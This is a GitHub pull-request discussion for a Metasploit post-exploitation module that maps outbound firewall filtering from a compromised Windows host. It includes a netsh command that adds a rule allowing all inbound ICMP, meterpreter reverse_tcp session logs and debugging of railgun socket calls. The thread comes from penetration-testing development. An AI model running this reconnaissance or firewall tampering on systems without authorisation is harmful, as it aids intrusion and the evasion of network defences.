Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add post-exploitation module to get FW filtering rules #4187

Merged
merged 6 commits into from Dec 23, 2014
Merged

Add post-exploitation module to get FW filtering rules #4187

merged 6 commits into from Dec 23, 2014

Conversation

BorjaMerino
Copy link
Contributor

This module makes some kind of TCP traceroute to get outbound-filtering rules. It will try to make a TCP connection to a certain public IP address (this IP does not need to be under your control) using different TTL incremental values. This way if you get an ICMP "time exceeded" from a public device you can deduce that the port is not filtered. Example:

msf post(outbound_ports) > exploit

[*] ICMP firewall IN rule established: Aceptar

[] Testing port 4444...
[+] 1 192.168.144.1
[-] 2 *
[+] 3 81.46.0.157
[+] 4 94.142.103.157
[+] 5 213.140.38.113
[+] 6 213.140.38.114
[+] 7 84.16.15.250
[+] 8 213.140.38.221
[+] 9 84.16.15.81
[+] 10 94.142.122.253
[
] Testing port 8080...
[+] 1 192.168.144.1
[-] 2 *
[+] 3 81.46.0.157
[+] 4 94.142.103.157
[+] 5 213.140.38.113
[+] 6 213.140.38.114
[+] 7 84.16.15.250
[+] 8 213.140.38.157
[+] 9 94.142.124.58
[+] 10 94.142.123.1
[*] Post module execution completed

If you set the STOP option to true when a public IP responds with an ICMP packet, the script will not continue launching more connections (generating minimum noise).

msf post(outbound_ports) > set stop true
stop => true
msf post(outbound_ports) > exploit

[*] ICMP firewall IN rule established: Aceptar

[] Testing port 4444...
[+] 1 192.168.144.1
[-] 2 *
[+] 3 81.46.0.157
[+] Public IP reached. The port 4444 is not filtered
[
] Testing port 8080...
[+] 1 192.168.144.1
[+] 2 81.46.0.157
[+] Public IP reached. The port 8080 is not filtered
[*] Post module execution completed

end

output = cmd_exec("netsh"," advfirewall firewall add rule name=\"All ICMP v4\" dir=in action=allow protocol=icmpv4:any,any")
print_status("ICMP firewall IN rule established: #{output}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Perhaps make this an on-by default option so that you can try without needing to muck with the firewall? Or is there some reason why the ICMP responses would not otherwise be seen?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @jhart-r7 . By default the TTL ICMP responses are not seen if you don't enable the above rule. Maybe I should check first if the firewall allows ICMP IN traffic and if not, enable it. I thought about this at first, but It takes some time to check the rules with "netsh advfirewall firewall show ...." that's why I always enable it by default. Anyway any suggestions are welcome :)

@BorjaMerino
Copy link
Contributor Author

How can I solve the Travis error?

@wchen-r7
Copy link
Contributor

The error isn't related to your PR. The app team just resolved the issue and I'm restarting all the ones that failed.

@todb-r7
Copy link

todb-r7 commented Nov 13, 2014

I don't believe restarting is going to do what you think it does, unless you pick up the changes from #4197. The post-merge CI build will work though, @wchen-r7

@wchen-r7
Copy link
Contributor

weird, i thought travis would do that for me. Juan's pr turned green though..............

@BorjaMerino
Copy link
Contributor Author

ok, thanks for the clarification. I'll wait for more review then

@wchen-r7
Copy link
Contributor

@todb-r7 Mine turned green without me merging anything: https://travis-ci.org/rapid7/metasploit-framework/builds/40812592

@jvazquez-r7 jvazquez-r7 self-assigned this Nov 25, 2014
@jvazquez-r7
Copy link
Contributor

Giving a chance, working on it!

@jvazquez-r7
Copy link
Contributor

@BorjaMerino I'm trying to run on it on a Windows 7 SP1 32 bits unsuccessfully:

msf post(outbound_ports) > set ADDRESS 74.125.225.241
ADDRESS => 74.125.225.241
msf post(outbound_ports) > set SESSION 1
SESSION => 1
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 80...
[-] There was an error binding the ICMP socket; GetLastError: 10047
[*] Post module execution completed
msf post(outbound_ports) > set PORTS 443
PORTS => 443
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 443...
[-] There was an error binding the ICMP socket; GetLastError: 10047
[*] Post module execution completed
msf post(outbound_ports) > set VERBOSE true
VERBOSE => true
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 443...
[*] ICMP raw socket created successfully
[-] There was an error binding the ICMP socket; GetLastError: 10047
[*] TCP socket created successfully
[*] TCP socket successfully configured in non-blocking mode
[*] TTL value successfully set to 1
[*] Post module execution completed

msf post(outbound_ports) > set PORTS 4444
PORTS => 4444
msf post(outbound_ports) > set ADDRESS 172.16.158.1
ADDRESS => 172.16.158.1
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 4444...
[*] ICMP raw socket created successfully
[-] There was an error binding the ICMP socket; GetLastError: 10047
[*] TCP socket created successfully
[*] TCP socket successfully configured in non-blocking mode
[*] TTL value successfully set to 1
[*] Post module execution completed

It's an admin session :? Are these failure expected?

@jvazquez-r7
Copy link
Contributor

@BorjaMerino, super minor cosmetic changes in https://github.com/BorjaMerino/metasploit-framework/pull/6

@jvazquez-r7 jvazquez-r7 removed their assignment Nov 25, 2014
Do minor cosmetic cleanup for post-exploitation module to get FW filtering rules
@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 umm not expected. Let me take a look at that error ...

@jvazquez-r7
Copy link
Contributor

Sure, thanks @BorjaMerino, let me know if there is any test I could do to help. Thanks!

@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 The VM you are using is in NAT or bridge mode ? In case of using NAT change it to bridge and let me know the result. Thanks

@jvazquez-r7
Copy link
Contributor

@BorjaMerino ooom sure, checking!

@jvazquez-r7
Copy link
Contributor

@BorjaMerino same result in bridge mode:

msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 80...
[*] ICMP raw socket created successfully
[-] There was an error binding the ICMP socket; GetLastError: 10047
[*] Post module execution completed
msf post(outbound_ports) > sessions

Active sessions
===============

  Id  Type                   Information                        Connection
  --  ----                   -----------                        ----------
  1   meterpreter x86/win32  DEMO\Administrator @ WINSQLSERVER  192.168.1.3:4444 -> 192.168.1.6:49518 (192.168.1.6)

@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 thanks for the test. I'm trying to reproduce your error without success. I have made some changes. I realized that session.tunnel_peer gives you the NAT'd IP, not the local private address so I have changed it for session.session_host.

I have tried it in Windows 7 32 and 64 bits with no error. Not sure if the changes will solve your 10047 error. According to this: http://support.ipswitch.com/kb/WSK-19980701-EM05.htm It could be a problem to the sockaddr in the bind function. If it still doesn't work print the value of sockaddr in hex way, something like:

sockaddr = Rex::Socket.to_sockaddr(session.session_host, 0)
print_status("-----------> #{sockaddr.unpack('H*')}")
msf post(outbound_ports) > sessions 

Active sessions
===============

  Id  Type                   Information               Connection
  --  ----                   -----------               ----------
  7   meterpreter x86/win32  COMPUTER\test @ COMPUTER  192.168.1.36:4444 -> 192.168.1.41:49238 (192.168.1.41)

msf post(outbound_ports) > show options

Module options (post/windows/recon/outbound_ports):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ADDRESS  74.125.225.241   yes       Destination IP address.
   HOPS     10               yes       Number of hops to get.
   MIN_TTL  1                yes       Starting TTL value.
   PORTS    4444             yes       Ports to test (e.g. 80,443,100-110).
   SESSION  7                yes       The session to run this module on.
   STOP     false            yes       Stop when it finds a public IP.
   TIMEOUT  3                yes       Timeout for the ICMP socket.

msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 4444...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.61
[+] 4 80.58.106.193
[+] 5 81.46.7.158
[+] 6 84.16.6.157
[+] 7 84.16.13.162
[+] 8 94.142.126.81
[-] 9 *
[-] 10 *
[*] Post module execution completed
msf post(outbound_ports) > set stop true
stop => true
emsf post(outbound_ports) > set address 8.8.8.8
address => 8.8.8.8
msf post(outbound_ports) > exploit

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 4444...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.61
[+] Public IP reached. The port 4444 is not filtered
[*] Post module execution completed
msf post(outbound_ports) >

@jvazquez-r7 jvazquez-r7 self-assigned this Nov 26, 2014
@jvazquez-r7
Copy link
Contributor

@BorjaMerino sure, retrying!

@jvazquez-r7
Copy link
Contributor

@BorjaMerino. Same result in both NAT and bridge mode after the changes:

msf exploit(handler) > use post/windows/recon/outbound_ports
msf post(outbound_ports) > set session 3
session => 3
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 80...
[-] There was an error binding the ICMP socket to 192.168.1.118; GetLastError: 10047
[*] Post module execution completed
msf post(outbound_ports) > exit -y
$ git log
commit 16a9450d434e40f6238f35e52b02664f3dae2a59
Author: peregrino <peregrino@Krypton>
Date:   Wed Nov 26 12:08:54 2014 +0100

    session.tunnel_peer changed by session.session_host. Other minor changes

Should it work in any system out of Windows XP? should work on 2003 or you mean Vista and above for both desktop and server versions?

EDIT: Nevermind, figured out which doesn't work on 2003 hehe :P

I'm going to try on others VM just in case.

@jvazquez-r7
Copy link
Contributor

Same error on Windows 2008 SP2

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.135

meterpreter > sysinfo
Computer        : WIN-F46QAN3U3UH
OS              : Windows 2008 (Build 6002, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/
Display all 141 possibilities? (y or n)
msf exploit(handler) > use post/windows/recon/outbound_ports
msf post(outbound_ports) > set ADDRESS 74.125.225.17
ADDRESS => 74.125.225.17
msf post(outbound_ports) > run
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
msf post(outbound_ports) > set session 1
session => 1
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 80...
[-] There was an error binding the ICMP socket to 172.16.158.135; GetLastError: 10047
[*] Post module execution completed
msf post(outbound_ports) >

@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 jummmm ¬¬ Need to do more research about that error. Please could you print the sockaddr struct in hex format. Something like this is ok:

sockaddr = Rex::Socket.to_sockaddr(session.session_host, 0)
print_status("-----------> #{sockaddr.unpack('H*')}")

@jvazquez-r7
Copy link
Contributor

ooo yes sorry, forgot, doing it.

@BorjaMerino
Copy link
Contributor Author

Same here. Really weird. NAT should not be a problem while forwarding icmp replies

@jvazquez-r7
Copy link
Contributor

I'm sorry, it caught mine :(. Let me please ping @OJ in case he experienced something like that in the past. @OJ, no compromise, just a summary: We're experiencing odd crashes on Virtual Interfaces on NAT mode when testing this module. The crashes only occurs when the meterpreter stager is executed from an EXE. Is there any related bug I'm forgetting?

Also ping @todb-r7, do you mind to make a fast review. Landing a post module which could crash sessions isn't funny. But at this point doesn't look like a module problem. Not sure even if a meterpreter/railgun problem. How do you feel about landing after creating an issue? Or better mark as delayed and crete and issue?

I can try to debug what is going on, but not today :\ Cause of it marking as delayed.

Sorry @BorjaMerino! I don't think it's your fault. But landing a post module which could kill a session is risky :\ Even when at this moment I'm pretty sure it's an odd condition. Please let me listen other voices, or give me some time to debug harder what is going on!

@jvazquez-r7
Copy link
Contributor

Issue created here: rapid7/meterpreter#103 marking as delayed, please, let me listen if there is any feedback before going ahead.

@jvazquez-r7 jvazquez-r7 added the blocked Blocked by one or more additional tasks label Nov 26, 2014
@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 np. First, find the problem. Let me know if you want me to try/modify something

@OJ
Copy link
Contributor

OJ commented Dec 9, 2014

Sorry I missed this conversation! I just noticed @jvazquez-r7 mentioned the new bug in the Meterpreter repo. I'm happy to dive into this problem. Please leave it with me.

Thanks guys!

@jvazquez-r7
Copy link
Contributor

Thanks @OJ, appreciated, I'm kinda busy these days, so otherwise it would need to wait! :) Thanks for looking into it!

@OJ
Copy link
Contributor

OJ commented Dec 9, 2014

I can get this module to crash Meterpreter just by running it twice. I can't help but think something screwy is going on with the railgun calls.

Please see rapid7/meterpreter#103 (comment) for a command regarding this module.

@jvazquez-r7
Copy link
Contributor

Since @OJ cannot help here, and the proposed action by him is to move this to the lanattacks extension, I'm going to mark it as delayed atm, because it's something I cannot work on right now!

@jvazquez-r7 jvazquez-r7 removed their assignment Dec 13, 2014
@BorjaMerino
Copy link
Contributor Author

@OJ @jvazquez-r7 @todb-r7 Since the module is not intrusive (I mean It's like a TCP traceroute after all) not sure if It fits in the lanattack extension very well. It is just a suggestion. What do you think?

@hdm
Copy link
Contributor

hdm commented Dec 14, 2014

The heap bug is likely caused by lack of memory allocation for the railgun calls. If @BorjaMerino can fix these up to stop mangling the heap, we can take this as a module versus pushing it off to lanattacks.

@hdm
Copy link
Contributor

hdm commented Dec 14, 2014

This code is not allocating the receive buffer.

r = client.railgun.ws2_32.recvfrom(h_icmp, "", 100, 0, from, 16)

Changing this to the following may solve this issue:

r = client.railgun.ws2_32.recvfrom(h_icmp, "\x00" * 100, 100, 0, from, 16)

@hdm hdm removed the blocked Blocked by one or more additional tasks label Dec 14, 2014
@hdm hdm self-assigned this Dec 14, 2014
@OJ
Copy link
Contributor

OJ commented Dec 14, 2014

Sorry for the lack of action. I'm actually on a family holiday for the
first time since 2006!

+1 to HD's comments.

Ultimately I think this would be good as part of an extension. It'd be way
quicker and less noisy.

@hdm
Copy link
Contributor

hdm commented Dec 14, 2014

@OJ stop working 😄

We can always move this to an extension later if it proves useful, but I don't mind a slightly slower approach here as a proof of concept (provided it doesn't crash the session).

@BorjaMerino
Copy link
Contributor Author

@hmoore-r7 thank you so much :) @jvazquez-r7 could you check it in your lab again? thank you

@jvazquez-r7
Copy link
Contributor

neat! thanks @BorjaMerino @OJ and @hmoore-r7

No crashes on NAT mode anymore, even when I get an odd message:

msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 80...
[+] 1 172.16.158.2
[-] 2 *
[-] Post interrupted by the console user
[*] Post module execution completed

I get the Post interrupted by the console user message, even when I didn't interrupt anything.

On the other hand, on bridge mode, I miss the final print_good message:

msf post(outbound_ports) > set session 3
session => 3
msf post(outbound_ports) > set ADDRESS 216.58.216.100
ADDRESS => 216.58.216.100
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 80...
[+] 1 192.168.0.1
[-] 2 *
[+] 3 66.68.3.237
[*] Testing port 443...
[+] 1 192.168.0.1
[-] 2 *
[+] 3 66.68.3.237
[*] Post module execution completed

Shouldn't it be reaching the message print_good("Public IP reached. The port #{dport} is not filtered") :?

@hdm
Copy link
Contributor

hdm commented Dec 15, 2014

Looks like a Timeout::Error (which subclasses ::Interrupt) being raised. Sounds like missing error handling or another issue with the code's handling of timeout conditions.

@BorjaMerino
Copy link
Contributor Author

@hmoore-r7 @jvazquez-r7 Did you set the STOP option to true?. Only when STOP is true you will get the message: "Public IP reached. The port #{dport} is not filtered". When STOP is false (value by default) the module just behaves like a TCP traceroute with no message. This output is from Windows 7 in bridge mode:

msf post(outbound_ports) > show options

Module options (post/windows/recon/outbound_ports):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ADDRESS  208.84.244.10    yes       Destination IP address.
   HOPS     12               yes       Number of hops to get.
   MIN_TTL  1                yes       Starting TTL value.
   PORTS    80,443           yes       Ports to test (e.g. 80,443,100-110).
   SESSION  2                yes       The session to run this module on.
   STOP     false            yes       Stop when it finds a public IP.
   TIMEOUT  3                yes       Timeout for the ICMP socket.

msf post(outbound_ports) > exploit

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 80...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.53
[+] 4 80.58.88.246
[+] 5 84.16.8.121
[+] 6 5.53.4.202
[+] 7 94.142.126.89
[+] 8 213.140.38.66
[+] 9 176.52.250.205
[+] 10 94.142.125.161
[+] 11 84.16.9.130
[+] 12 66.119.65.65
[*] Testing port 443...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.53
[+] 4 80.58.88.254
[+] 5 84.16.8.121
[+] 6 213.140.37.254
[+] 7 94.142.126.73
[+] 8 94.142.122.210
[+] 9 176.52.250.205
[+] 10 94.142.125.161
[+] 11 66.119.65.65
[+] 12 216.177.213.250
[*] Post module execution completed
msf post(outbound_ports) > set STOP true
STOP => true
msf post(outbound_ports) > exploit

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 80...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.53
[+] Public IP reached. The port 80 is not filtered
[*] Testing port 443...
[+] 1 192.168.1.1
[+] 2 80.58.89.53
[+] Public IP reached. The port 443 is not filtered
[*] Post module execution completed
msf post(outbound_ports) >

Here another example with some hops not answering with ICMP replies (in this case the previous error does not come up thanks to the HDM fix it):

msf post(outbound_ports) > show options

Module options (post/windows/recon/outbound_ports):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ADDRESS  173.194.45.182   yes       Destination IP address.
   HOPS     8                yes       Number of hops to get.
   MIN_TTL  1                yes       Starting TTL value.
   PORTS    80,443           yes       Ports to test (e.g. 80,443,100-110).
   SESSION  2                yes       The session to run this module on.
   STOP     false            yes       Stop when it finds a public IP.
   TIMEOUT  3                yes       Timeout for the ICMP socket.

msf post(outbound_ports) > exploit

[*] ICMP firewall IN rule established: Aceptar

[*] Testing port 80...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.53
[+] 4 80.58.106.193
[-] 5 *
[+] 6 5.53.1.74
[+] 7 72.14.235.18
[+] 8 216.239.50.25
[*] Testing port 443...
[+] 1 192.168.1.1
[+] 2 192.168.144.1
[+] 3 80.58.89.61
[+] 4 80.58.106.193
[-] 5 *
[+] 6 5.53.1.74
[+] 7 72.14.235.18
[+] 8 216.239.50.25
[*] Post module execution completed

So @jvazquez-r7 check that STOP option and tell me if you get the same. Regarding the message "Post module execution completed" I fail to reproduce the same error. @hmoore-r7 did you get that too? Maybe I have to handle the "rescue ::Timeout::Error" condition in another way ?¿

What I've noticed is that sometimes I have to run the module a second time because of the way I use ws2_32 API.

@jvazquez-r7
Copy link
Contributor

@BorjaMerino yeah, set STOP to true is the thing, thought I had it set to true. Doesn't worth to always print this message :? I feel like otherwise the output isn't very informative about the module conclusions/results.

@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 I set STOP to true by default and I changed some logic to show the message always at the end of each port scanned.

@jvazquez-r7 jvazquez-r7 merged commit 6480ae2 into rapid7:master Dec 23, 2014
@jvazquez-r7
Copy link
Contributor

Sorry @BorjaMerino, have been really busy last days and forgot about this pull request!

Did super minor cleanup by myself, see result here: 4928cd3

And landed! Thanks for your effort and keep following the pull request!

Final test:

msf exploit(handler) > run

[*] Started reverse handler on 192.168.0.3:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.0.7

meterpreter > getuid
Server username: WIN-RNJ7NBRK981\Juan Vazquez
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/recon/outbound_ports
msf post(outbound_ports) > set session 1
session => 1
msf post(outbound_ports) > show options

Module options (post/windows/recon/outbound_ports):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ADDRESS                   yes       Destination IP address.
   HOPS     3                yes       Number of hops to get.
   MIN_TTL  1                yes       Starting TTL value.
   PORTS    80,443           yes       Ports to test (e.g. 80,443,100-110).
   SESSION  1                yes       The session to run this module on.
   STOP     true             yes       Stop when it finds a public IP.
   TIMEOUT  3                yes       Timeout for the ICMP socket.

msf post(outbound_ports) > set ADDRESS 74.125.227.212
ADDRESS => 74.125.227.212
msf post(outbound_ports) > reload
[*] Reloading module...
run
msf post(outbound_ports) > run

[*] ICMP firewall IN rule established: Ok.

[*] Testing port 80...
[+] 1 192.168.0.1
[-] 2 *
[+] 3 66.68.3.237
[+] Public IP reached. The TCP port 80 is not filtered
[*] Testing port 443...
[+] 1 192.168.0.1
[+] 2 66.68.3.237
[+] Public IP reached. The TCP port 443 is not filtered
[*] Post module execution completed
msf post(outbound_ports) >

@BorjaMerino
Copy link
Contributor Author

@jvazquez-r7 read you now, thank you so much :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants